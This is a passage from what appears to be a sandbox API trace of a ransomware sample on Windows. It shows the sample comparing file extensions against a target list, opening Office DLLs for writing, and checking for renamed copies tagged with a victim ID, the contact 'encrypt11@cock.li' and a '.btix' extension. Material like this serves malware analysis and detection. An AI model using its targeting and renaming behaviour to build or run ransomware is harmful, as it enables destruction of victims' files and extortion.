(lpString1=".pdf", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString=".xls") returned 4 [0139.938] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString=".xlsx") returned 5 [0139.938] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.938] lstrlenW (lpString=".ppt") returned 4 [0139.938] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.938] lstrlenW (lpString=".zip") returned 4 [0139.938] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString=".rar") returned 4 [0139.938] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString=".bz2") returned 4 [0139.938] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString=".7z") returned 3 [0139.938] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.938] lstrlenW (lpString=".dbf") returned 4 [0139.938] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.938] lstrlenW (lpString=".1cd") returned 4 [0139.938] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.939] lstrlenW (lpString=".jpg") returned 4 [0139.939] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.939] lstrlenW (lpString=".doc") returned 4 [0139.939] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString=".docx") returned 5 [0139.939] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.939] lstrlenW (lpString=".pdf") returned 4 [0139.939] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString=".xls") returned 4 [0139.939] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString=".xlsx") returned 5 [0139.939] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.939] lstrlenW (lpString=".ppt") returned 4 [0139.939] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.939] lstrlenW (lpString=".zip") returned 4 [0139.939] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString=".rar") returned 4 [0139.939] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString=".bz2") returned 4 [0139.939] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString=".7z") returned 3 [0139.939] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.939] lstrlenW (lpString=".dbf") returned 4 [0139.939] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.939] lstrlenW (lpString=".1cd") returned 4 [0139.940] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0139.940] lstrlenW (lpString=".jpg") returned 4 [0139.940] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.940] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0139.940] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0139.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.176] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18624) returned 1 [0140.176] CloseHandle (hObject=0x540) returned 1 [0140.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0140.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.186] lstrlenW (lpString=".doc") returned 4 [0140.186] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.186] lstrlenW (lpString=".docx") returned 5 [0140.186] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.186] lstrlenW (lpString=".pdf") returned 4 [0140.186] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.186] lstrlenW (lpString=".xls") returned 4 [0140.186] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.186] lstrlenW (lpString=".xlsx") returned 5 [0140.186] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.186] lstrlenW (lpString=".ppt") returned 4 [0140.186] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.186] lstrlenW (lpString=".zip") returned 4 [0140.186] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.186] lstrlenW (lpString=".rar") returned 4 [0140.186] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.186] lstrlenW (lpString=".bz2") returned 4 [0140.186] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.186] lstrlenW (lpString=".7z") returned 3 [0140.186] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.186] lstrlenW (lpString=".dbf") returned 4 [0140.186] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.186] lstrlenW (lpString=".1cd") returned 4 [0140.186] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.187] lstrlenW (lpString=".jpg") returned 4 [0140.187] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.187] lstrlenW (lpString=".doc") returned 4 [0140.187] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.187] lstrlenW (lpString=".docx") returned 5 [0140.187] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.187] lstrlenW (lpString=".pdf") returned 4 [0140.187] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.187] lstrlenW (lpString=".xls") returned 4 [0140.187] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.187] lstrlenW (lpString=".xlsx") returned 5 [0140.187] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.187] lstrlenW (lpString=".ppt") returned 4 [0140.187] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.187] lstrlenW (lpString=".zip") returned 4 [0140.187] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.187] lstrlenW (lpString=".rar") returned 4 [0140.187] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.187] lstrlenW (lpString=".bz2") returned 4 [0140.187] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.187] lstrlenW (lpString=".7z") returned 3 [0140.187] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.187] lstrlenW (lpString=".dbf") returned 4 [0140.187] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.187] lstrlenW (lpString=".1cd") returned 4 [0140.187] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0140.188] lstrlenW (lpString=".jpg") returned 4 [0140.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.188] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.188] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0140.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.189] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=21184) returned 1 [0140.189] CloseHandle (hObject=0x540) returned 1 [0140.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0140.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.189] lstrlenW (lpString=".doc") returned 4 [0140.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.189] lstrlenW (lpString=".docx") returned 5 [0140.189] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.189] lstrlenW (lpString=".pdf") returned 4 [0140.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.190] lstrlenW (lpString=".xls") returned 4 [0140.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.190] lstrlenW (lpString=".xlsx") returned 5 [0140.190] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.190] lstrlenW (lpString=".ppt") returned 4 [0140.190] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.190] lstrlenW (lpString=".zip") returned 4 [0140.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.190] lstrlenW (lpString=".rar") returned 4 [0140.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.190] lstrlenW (lpString=".bz2") returned 4 [0140.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.190] lstrlenW (lpString=".7z") returned 3 [0140.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.190] lstrlenW (lpString=".dbf") returned 4 [0140.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.190] lstrlenW (lpString=".1cd") returned 4 [0140.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.190] lstrlenW (lpString=".jpg") returned 4 [0140.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.190] lstrlenW (lpString=".doc") returned 4 [0140.190] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.190] lstrlenW (lpString=".docx") returned 5 [0140.190] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.190] lstrlenW (lpString=".pdf") returned 4 [0140.190] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.191] lstrlenW (lpString=".xls") returned 4 [0140.191] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.191] lstrlenW (lpString=".xlsx") returned 5 [0140.191] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.191] lstrlenW (lpString=".ppt") returned 4 [0140.191] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.191] lstrlenW (lpString=".zip") returned 4 [0140.191] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.191] lstrlenW (lpString=".rar") returned 4 [0140.191] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.191] lstrlenW (lpString=".bz2") returned 4 [0140.191] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.191] lstrlenW (lpString=".7z") returned 3 [0140.191] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.191] lstrlenW (lpString=".dbf") returned 4 [0140.191] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.191] lstrlenW (lpString=".1cd") returned 4 [0140.191] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0140.191] lstrlenW (lpString=".jpg") returned 4 [0140.191] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.191] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.191] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0140.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.192] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19136) returned 1 [0140.192] CloseHandle (hObject=0x540) returned 1 [0140.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0140.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.192] lstrlenW (lpString=".doc") returned 4 [0140.192] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.192] lstrlenW (lpString=".docx") returned 5 [0140.192] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0140.193] lstrlenW (lpString=".pdf") returned 4 [0140.193] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.193] lstrlenW (lpString=".xls") returned 4 [0140.193] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.193] lstrlenW (lpString=".xlsx") returned 5 [0140.193] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0140.193] lstrlenW (lpString=".ppt") returned 4 [0140.193] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.193] lstrlenW (lpString=".zip") returned 4 [0140.193] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.193] lstrlenW (lpString=".rar") returned 4 [0140.193] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.193] lstrlenW (lpString=".bz2") returned 4 [0140.193] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.193] lstrlenW (lpString=".7z") returned 3 [0140.193] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.193] lstrlenW (lpString=".dbf") returned 4 [0140.193] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.193] lstrlenW (lpString=".1cd") returned 4 [0140.193] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.193] lstrlenW (lpString=".jpg") returned 4 [0140.193] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.193] lstrlenW (lpString=".doc") returned 4 [0140.193] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.193] lstrlenW (lpString=".docx") returned 5 [0140.193] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0140.194] lstrlenW (lpString=".pdf") returned 4 [0140.194] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.194] lstrlenW (lpString=".xls") returned 4 [0140.194] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.194] lstrlenW (lpString=".xlsx") returned 5 [0140.194] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0140.194] lstrlenW (lpString=".ppt") returned 4 [0140.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.194] lstrlenW (lpString=".zip") returned 4 [0140.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.194] lstrlenW (lpString=".rar") returned 4 [0140.194] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.194] lstrlenW (lpString=".bz2") returned 4 [0140.194] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.194] lstrlenW (lpString=".7z") returned 3 [0140.194] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.194] lstrlenW (lpString=".dbf") returned 4 [0140.194] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.194] lstrlenW (lpString=".1cd") returned 4 [0140.194] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0140.194] lstrlenW (lpString=".jpg") returned 4 [0140.194] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.195] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.195] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0140.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.195] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19136) returned 1 [0140.195] CloseHandle (hObject=0x540) returned 1 [0140.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0140.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0140.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0140.197] lstrlenW (lpString=".doc") returned 4 [0140.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.197] lstrlenW (lpString=".docx") returned 5 [0140.197] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.197] lstrlenW (lpString=".pdf") returned 4 [0140.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.197] lstrlenW (lpString=".xls") returned 4 [0140.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.197] lstrlenW (lpString=".xlsx") returned 5 [0140.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.197] lstrlenW (lpString=".ppt") returned 4 [0140.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0140.197] lstrlenW (lpString=".zip") returned 4 [0140.197] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.197] lstrlenW (lpString=".rar") returned 4 [0140.197] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.197] lstrlenW (lpString=".bz2") returned 4 [0140.197] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.197] lstrlenW (lpString=".7z") returned 3 [0140.197] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0140.197] lstrlenW (lpString=".dbf") returned 4 [0140.197] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0140.197] lstrlenW (lpString=".1cd") returned 4 [0140.197] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0140.197] lstrlenW (lpString=".jpg") returned 4 [0140.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft 